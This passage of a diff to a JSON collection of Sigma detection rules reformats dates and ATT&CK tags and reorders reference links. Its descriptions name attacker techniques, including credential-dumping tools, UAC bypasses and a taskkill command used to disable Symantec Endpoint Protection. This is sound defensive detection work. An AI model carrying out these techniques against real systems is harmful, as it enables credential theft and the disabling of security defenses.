via WSReset usable by default sysmon-config", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -32899,13 +32906,13 @@ "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Wsreset/", - "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", "https://github.com/hfiref0x/UACME", + "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -32925,7 +32932,7 @@ "description": "Detects the use of the filename DumpStack.log to evade Microsoft Defender", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/06", + "creation_date": "2022-01-06", "falsepositive": [ "Unknown" ], @@ -32938,7 +32945,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dumpstack_log_evasion.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "4f647cfa-b598-4e12-ad69-c68dd16caef8", @@ -32948,7 +32955,7 @@ "description": "Detects usage of \"rar\" to add files to an archive for potential compression. An adversary may compress data (e.g. sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.", "meta": { "author": "Timur Zinniatullin, E.M. Anhaus, oscd.community", - "creation_date": "2019/10/21", + "creation_date": "2019-10-21", "falsepositive": [ "Highly likely if rar is a default archiver in the monitored environment." ], @@ -32957,8 +32964,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", "https://eqllib.readthedocs.io/en/latest/analytics/1ec33c93-3d0b-4a28-8014-dbdaae5c60ae.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_compress_data.yml" ], "tags": [ @@ -32982,7 +32989,7 @@ "description": "Detects potential RDP Session Hijacking activity on Windows systems", "meta": { "author": "@juju4", - "creation_date": "2022/12/27", + "creation_date": "2022-12-27", "falsepositive": [ "Administrative activity" ], @@ -33005,7 +33012,7 @@ "description": "Detects LOLBINs executing from an abnormal or uncommon drive such as a mounted ISO.", "meta": { "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Angelo Violetti - SEC Consult '@angelo_violetti', Aaron Herman", - "creation_date": "2022/01/25", + "creation_date": "2022-01-25", "falsepositive": [ "Rare false positives could occur on servers with multiple drives." ], @@ -33014,13 +33021,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.scythe.io/library/threat-emulation-qakbot", "https://sec-consult.com/blog/detail/bumblebee-hunting-with-a-velociraptor/", "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://www.scythe.io/library/threat-emulation-qakbot", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lolbin_exec_from_non_c_drive.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "d4ca7c59-e9e4-42d8-bf57-91a776efcb87", @@ -33030,7 +33037,7 @@ "description": "Detects the execution of msiexec.exe from an uncommon directory", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/11/14", + "creation_date": "2019-11-14", "falsepositive": [ "Unknown" ], @@ -33043,7 +33050,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_masquerading.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.005" ] }, @@ -33063,7 +33070,7 @@ "description": "Detects suspicious child process creations of VMware Tools process which may indicate persistence setup", "meta": { "author": "bohops, Bhabesh Raj", - "creation_date": "2021/10/08", + "creation_date": "2021-10-08", "falsepositive": [ "Legitimate use by VM administrator" ], @@ -33072,9 +33079,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://user-images.githubusercontent.com/61026070/136518004-b68cce7d-f9b8-4e9a-9b7b-53b1568a9a94.png", - "https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/tools.conf", "https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/", + "https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/tools.conf", + "https://user-images.githubusercontent.com/61026070/136518004-b68cce7d-f9b8-4e9a-9b7b-53b1568a9a94.png", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmware_vmtoolsd_susp_child_process.yml" ], "tags": [ @@ -33099,7 +33106,7 @@ "description": "Detects an uncommon child process of \"odbcconf.exe\" binary which normally shouldn't have any child processes.", "meta": { "author": "Harjot Singh @cyb3rjy0t", - "creation_date": "2023/05/22", + "creation_date": "2023-05-22", "falsepositive": [ "In rare occurrences where \"odbcconf\" crashes. It might spawn a \"werfault\" process", "Other child processes will depend on the DLL being registered by actions like \"regsvr\". In case where the DLLs have external calls (which should be rare). Other child processes might spawn and additional filters need to be applied." @@ -33109,13 +33116,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://medium.com/@cyberjyot/t1218-008-dll-execution-using-odbcconf-exe-803fa9e08dac", - "https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16", "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", + "https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16", + "https://medium.com/@cyberjyot/t1218-008-dll-execution-using-odbcconf-exe-803fa9e08dac", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_uncommon_child_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.008" ] }, @@ -33135,7 +33142,7 @@ "description": "Detects the execution of UACMe, a tool used for UAC bypasses, via default PE metadata", "meta": { "author": "Christian Burkard (Nextron Systems), Florian Roth (Nextron Systems)", - "creation_date": "2021/08/30", + "creation_date": "2021-08-30", "falsepositive": [ "Unknown" ], @@ -33148,8 +33155,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_uacme.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -33169,7 +33176,7 @@ "description": "This rule detects the execution of Run Once task as configured in the registry", "meta": { "author": "Avneet Singh @v3t0_, oscd.community, Christopher Peacock @SecurePeacock (updated)", - "creation_date": "2020/10/18", + "creation_date": "2020-10-18", "falsepositive": [ "Unknown" ], @@ -33178,13 +33185,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/0gtweet/status/1602644163824156672?s=20&t=kuxbUnZPltpvFPZdCrqPXA", - "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", "https://twitter.com/pabraeken/status/990717080805789697", + "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", + "https://twitter.com/0gtweet/status/1602644163824156672?s=20&t=kuxbUnZPltpvFPZdCrqPXA", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_runonce_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -33204,7 +33211,7 @@ "description": "Detects a suspicious child process spawning from Outlook where the image is located in a remote location (SMB/WebDav shares).", "meta": { "author": "Markus Neis, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2018/12/27", + "creation_date": "2018-12-27", "falsepositive": [ "Unknown" ], @@ -33247,7 +33254,7 @@ "description": "Detects potentially suspicious child processes of \"regsvr32.exe\".", "meta": { "author": "elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/05/05", + "creation_date": "2022-05-05", "falsepositive": [ "Unlikely, but can rarely occur. Apply additional filters accordingly." ], @@ -33256,13 +33263,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.echotrail.io/insights/search/regsvr32.exe", - "https://redcanary.com/blog/intelligence-insights-april-2022/", "https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo", + "https://redcanary.com/blog/intelligence-insights-april-2022/", + "https://www.echotrail.io/insights/search/regsvr32.exe", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_susp_child_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.010" ] }, @@ -33282,7 +33289,7 @@ "description": "Detects a JAVA process running with remote debugging allowing more than just localhost to connect", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Unknown" ], @@ -33315,7 +33322,7 @@ "description": "Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface", "meta": { "author": "Florian Roth (Nextron Systems), Elastic (idea)", - "creation_date": "2022/09/13", + "creation_date": "2022-09-13", "falsepositive": [ "Unknown" ], @@ -33328,8 +33335,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_icmluautil.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -33349,7 +33356,7 @@ "description": "Detects execution of \"rundll32\" with potential obfuscated ordinal calls", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/17", + "creation_date": "2023-05-17", "falsepositive": [ "Unknown" ], @@ -33362,7 +33369,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_obfuscated_ordinal_call.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "43fa5350-db63-4b8f-9a01-789a427074e1", @@ -33372,7 +33379,7 @@ "description": "Detects the use of the Dinject PowerShell cradle based on the specific flags", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/12/07", + "creation_date": "2021-12-07", "falsepositive": [ "Unlikely" ], @@ -33385,7 +33392,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_dinjector.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1055" ] }, @@ -33405,7 +33412,7 @@ "description": "Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy \"Bypass\" or any binary named \"powershell.exe\" located in the path provided by 6th positional argument", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), memory-shards", - "creation_date": "2022/12/24", + "creation_date": "2022-12-24", "falsepositive": [ "Legitimate use via Intune management. You exclude script paths and names to reduce FP rate" ], @@ -33414,14 +33421,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/jseerden/status/1247985304667066373/photo/1", "https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/", "https://twitter.com/lefterispan/status/1286259016436514816", - "https://twitter.com/jseerden/status/1247985304667066373/photo/1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_agentexecutor_potential_abuse.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -33441,7 +33448,7 @@ "description": "Detects the use of 3proxy, a tiny free proxy server", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/09/13", + "creation_date": "2022-09-13", "falsepositive": [ "Administrative activity" ], @@ -33450,12 +33457,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/3proxy/3proxy", "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://github.com/3proxy/3proxy", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_3proxy_execution.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1572" ] }, @@ -33475,7 +33482,7 @@ "description": "Detects shell32.dll executing a DLL in a suspicious directory", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/11/24", + "creation_date": "2021-11-24", "falsepositive": [ "Unknown" ], @@ -33488,7 +33495,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_shell32_susp_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218.011" ] @@ -33509,7 +33516,7 @@ "description": "Detects the use of \"DumpMinitool.exe\" a tool that allows the dump of process memory via the use of the \"MiniDumpWriteDump\"", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems)", - "creation_date": "2022/04/06", + "creation_date": "2022-04-06", "falsepositive": [ "Unknown" ], @@ -33518,14 +33525,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mrd0x/status/1511415432888131586", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/DumpMinitool/", - "https://gist.github.com/nasbench/6d58c3c125e2fa1b8f7a09754c1b087f", "https://twitter.com/mrd0x/status/1511489821247684615", + "https://gist.github.com/nasbench/6d58c3c125e2fa1b8f7a09754c1b087f", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/DumpMinitool/", + "https://twitter.com/mrd0x/status/1511415432888131586", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dumpminitool_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036", "attack.t1003.001" ] @@ -33553,7 +33560,7 @@ "description": "Detects usage of attrib.exe to hide files from users.", "meta": { "author": "Sami Ruohonen", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "IgfxCUIService.exe hiding *.cui files via .bat script (attrib.exe a child of cmd.exe and igfxCUIService.exe is the parent of the cmd.exe)", "Msiexec.exe hiding desktop.ini" @@ -33568,7 +33575,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_hiding_files.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1564.001" ] }, @@ -33588,7 +33595,7 @@ "description": "Detect use of X509Enrollment", "meta": { "author": "frack113", - "creation_date": "2022/12/23", + "creation_date": "2022-12-23", "falsepositive": [ "Legitimate administrative script" ], @@ -33597,13 +33604,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://learn.microsoft.com/en-us/dotnet/api/microsoft.hpc.scheduler.store.cx509enrollmentwebclassfactoryclass?view=hpc-sdk-5.1.6115", "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=41", "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=42", - "https://learn.microsoft.com/en-us/dotnet/api/microsoft.hpc.scheduler.store.cx509enrollmentwebclassfactoryclass?view=hpc-sdk-5.1.6115", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_x509enrollment.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1553.004" ] }, @@ -33623,7 +33630,7 @@ "description": "Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190)", "meta": { "author": "Nextron Systems", - "creation_date": "2022/06/01", + "creation_date": "2022-06-01", "falsepositive": [ "Unknown" ], @@ -33632,14 +33639,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/f420d295-0457-4e9b-9b9e-6732be227583/", "https://app.any.run/tasks/c4117d9a-f463-461a-b90f-4cd258746798/", "https://twitter.com/nao_sec/status/1530196847679401984", + "https://app.any.run/tasks/f420d295-0457-4e9b-9b9e-6732be227583/", "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdiagnhost_susp_child.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036", "attack.t1218" ] @@ -33667,7 +33674,7 @@ "description": "Detects the creation of a scheduled task using the \"-XML\" flag with a file without the '.xml' extension. This behavior could be indicative of potential defense evasion attempt during persistence", "meta": { "author": "Swachchhanda Shrawan Poudel, Elastic (idea)", - "creation_date": "2023/04/20", + "creation_date": "2023-04-20", "falsepositive": [ "Unknown" ], @@ -33681,7 +33688,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_schedule_via_masqueraded_xml_file.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.persistence", "attack.t1036.005", "attack.t1053.005" @@ -33710,7 +33717,7 @@ "description": "Detect usage of the \"driverquery\" utility. Which can be used to perform reconnaissance on installed drivers", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/19", + "creation_date": "2023-01-19", "falsepositive": [ "Legitimate use by third party tools in order to investigate installed drivers" ], @@ -33719,9 +33726,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/", - "https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html", "https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/", + "https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html", + "https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_driverquery_usage.yml" ], "tags": [ @@ -33735,7 +33742,7 @@ "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", "meta": { "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", - "creation_date": "2021/12/07", + "creation_date": "2021-12-07", "falsepositive": [ "Administrator, hotline ask to user" ], @@ -33768,7 +33775,7 @@ "description": "Detects one of the possible scenarios for disabling Symantec Endpoint Protection.\nSymantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism.\nAs a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service.\n", "meta": { "author": "Ilya Krestinichev, Florian Roth (Nextron Systems)", - "creation_date": "2022/09/13", + "creation_date": "2022-09-13", "falsepositive": [ "Unknown" ], @@ -33777,13 +33784,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://community.spiceworks.com/topic/2195015-batch-script-to-uninstall-symantec-endpoint-protection", "https://www.exploit-db.com/exploits/37525", + "https://community.spiceworks.com/topic/2195015-batch-script-to-uninstall-symantec-endpoint-protection", "https://community.broadcom.com/symantecenterprise/communities/community-home/digestviewer/viewthread?MessageKey=6ce94b67-74e1-4333-b16f-000b7fd874f0&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=digestviewer", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskkill_sep.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -33803,7 +33810,7 @@ "description": "Detects piping the password to an anydesk instance via CMD and the '--set-password' flag.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/28", + "creation_date": "2022-09-28", "falsepositive": [ "Legitimate piping of the password to anydesk", "Some FP could occur with similar tools that uses the same command line '--set-password'" @@ -33817,7 +33824,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_anydesk_piped_password_via_cli.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -33837,7 +33844,7 @@ "description": "Detects the execution of WebBrowserPassView.exe. A password recovery tool that reveals the passwords stored by the following Web browsers, Internet Explorer (Version 4.0 - 11.0), Mozilla Firefox (All Versions), Google Chrome, Safari, and Opera", "meta": { "author": "frack113", - "creation_date": "2022/08/20", + "creation_date": "2022-08-20", "falsepositive": [ "Legitimate use" ], @@ -33850,7 +33857,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_webbrowserpassview.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1555.003" ] }, @@ -33870,7 +33877,7 @@ "description": "Detects the execution of the LaZagne. A utility used to retrieve multiple types of passwords stored on a local computer.\nLaZagne has been leveraged multiple times by threat actors in order to dump credentials.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/06/24", + "creation_date": "2024-06-24", "falsepositive": [ "Some false positive is expected from tools with similar command line flags." ], @@ -33879,15 +33886,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/raw/800c0e06571993a54e39571cf27fd474dcc5c0bc/2017/2017.11.14.Muddying_the_Water/muddying-the-water-targeted-attacks.pdf", "https://github.com/AlessandroZ/LaZagne/tree/master", + "https://cloud.google.com/blog/topics/threat-intelligence/alphv-ransomware-backup/", "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/raw/800c0e06571993a54e39571cf27fd474dcc5c0bc/2017/2017.11.14.Muddying_the_Water/muddying-the-water-targeted-attacks.pdf", "https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/", - "https://cloud.google.com/blog/topics/threat-intelligence/alphv-ransomware-backup/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_lazagne.yml" ], "tags": [ - "attack.credential_access" + "attack.credential-access" ] }, "uuid": "c2b86e67-b880-4eec-b045-50bc98ef4844", @@ -33897,7 +33904,7 @@ "description": "Detects a suspicious child process of Script Event Consumer (scrcons.exe).", "meta": { "author": "Sittikorn S", - "creation_date": "2021/06/21", + "creation_date": "2021-06-21", "falsepositive": [ "Unknown" ], @@ -33906,8 +33913,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/child-processes/", "https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/scrcons-exe-rare-child-process.html", + "https://redcanary.com/blog/child-processes/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_scrcons_susp_child_process.yml" ], "tags": [ @@ -33931,7 +33938,7 @@ "description": "The Workflow Command-line Compiler can be used for AWL bypass and is listed in Microsoft's recommended block rules.", "meta": { "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "creation_date": "2022/06/01", + "creation_date": "2022-06-01", "falsepositive": [ "Legitimate use by a software developer" ], @@ -33945,7 +33952,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1127" ] }, @@ -33965,7 +33972,7 @@ "description": "Detects suspicious reconnaissance command line activity on Windows systems using the PowerShell Get-LocalGroupMember Cmdlet", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/10", + "creation_date": "2022-10-10", "falsepositive": [ "Administrative activity" ], @@ -33998,7 +34005,7 @@ "description": "Detects when adversaries stop services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/09", + "creation_date": "2022-09-09", "falsepositive": [ "Unlikely" ], @@ -34031,7 +34038,7 @@ "description": "Detects the use of Jlaive to execute assemblies in a copied PowerShell", "meta": { "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)", - "creation_date": "2022/05/24", + "creation_date": "2022-05-24", "falsepositive": [ "Unknown" ], @@ -34065,7 +34072,7 @@ "description": "Detects execution of javascript code using \"mshta.exe\".", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Unknown" ], @@ -34074,12 +34081,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/6bc283c4-21f2-4aed-a05c-a9a3ffa95dd4.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.005/T1218.005.md", + "https://eqllib.readthedocs.io/en/latest/analytics/6bc283c4-21f2-4aed-a05c-a9a3ffa95dd4.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.005" ] }, @@ -34099,7 +34106,7 @@ "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", "meta": { "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", - "creation_date": "2021/12/07", + "creation_date": "2021-12-07", "falsepositive": [ "Administrative activity" ], @@ -34133,7 +34140,7 @@ "description": "Detects a method often used by ransomware. Which combines the \"ping\" to wait a couple of seconds and then \"del\" to delete the file in question. Its used to hide the file responsible for the initial infection for example", "meta": { "author": "Ilya Krestinichev", - "creation_date": "2022/11/03", + "creation_date": "2022-11-03", "falsepositive": [ "Unknown" ], @@ -34142,14 +34149,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.acronis.com/en-us/blog/posts/lockbit-ransomware/", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://www.acronis.com/en-us/blog/posts/lockbit-ransomware/", "https://blog.sygnia.co/kaseya-ransomware-supply-chain-attack", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_ping_del_combined_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070.004" ] }, @@ -34169,7 +34176,7 @@ "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files", "meta": { "author": "frack113", - "creation_date": "2021/07/07", + "creation_date": "2021-07-07", "falsepositive": [ "Unknown" ], @@ -34178,12 +34185,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mpcmdrun_remove_windows_defender_definition.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.001" ] }, @@ -34203,7 +34210,7 @@ "description": "Detects the creation of a symbolic link between \"cmd.exe\" and the accessibility on-screen keyboard binary (osk.exe) using \"mklink\". This technique provides an elevated command prompt to the user from the login screen without the need to log in.", "meta": { "author": "frack113", - "creation_date": "2022/12/11", + "creation_date": "2022-12-11", "falsepositive": [ "Unknown" ], @@ -34217,7 +34224,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_mklink_osk_cmd.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.persistence", "attack.t1546.008" ] @@ -34238,7 +34245,7 @@ "description": "Detects a when net.exe is called with a password in the command line", "meta": { "author": "Tim Shelton (HAWK.IO)", - "creation_date": "2021/12/09", + "creation_date": "2021-12-09", "falsepositive": [ "Unknown" ], @@ -34251,11 +34258,11 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_use_password_plaintext.yml" ], "tags": [ - "attack.defense_evasion", - "attack.initial_access", + "attack.defense-evasion", + "attack.initial-access", "attack.persistence", - "attack.privilege_escalation", - "attack.lateral_movement", + "attack.privilege-escalation", + "attack.lateral-movement", "attack.t1021.002", "attack.t1078" ] @@ -34283,7 +34290,7 @@ "description": "This rule detect common flag combinations used by CrackMapExec in order to detect its use even if the binary has been replaced.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/25", + "creation_date": "2022-02-25", "falsepositive": [ "Unknown" ], @@ -34293,16 +34300,16 @@ "logsource.product": "windows", "refs": [ "https://mpgn.gitbook.io/crackmapexec/smb-protocol/authentication/checking-credentials-local", + "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=mssql-mimikatz", "https://www.infosecmatter.com/crackmapexec-module-library/?cmem=smb-pe_inject", - "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_execution.yml" ], "tags": [ 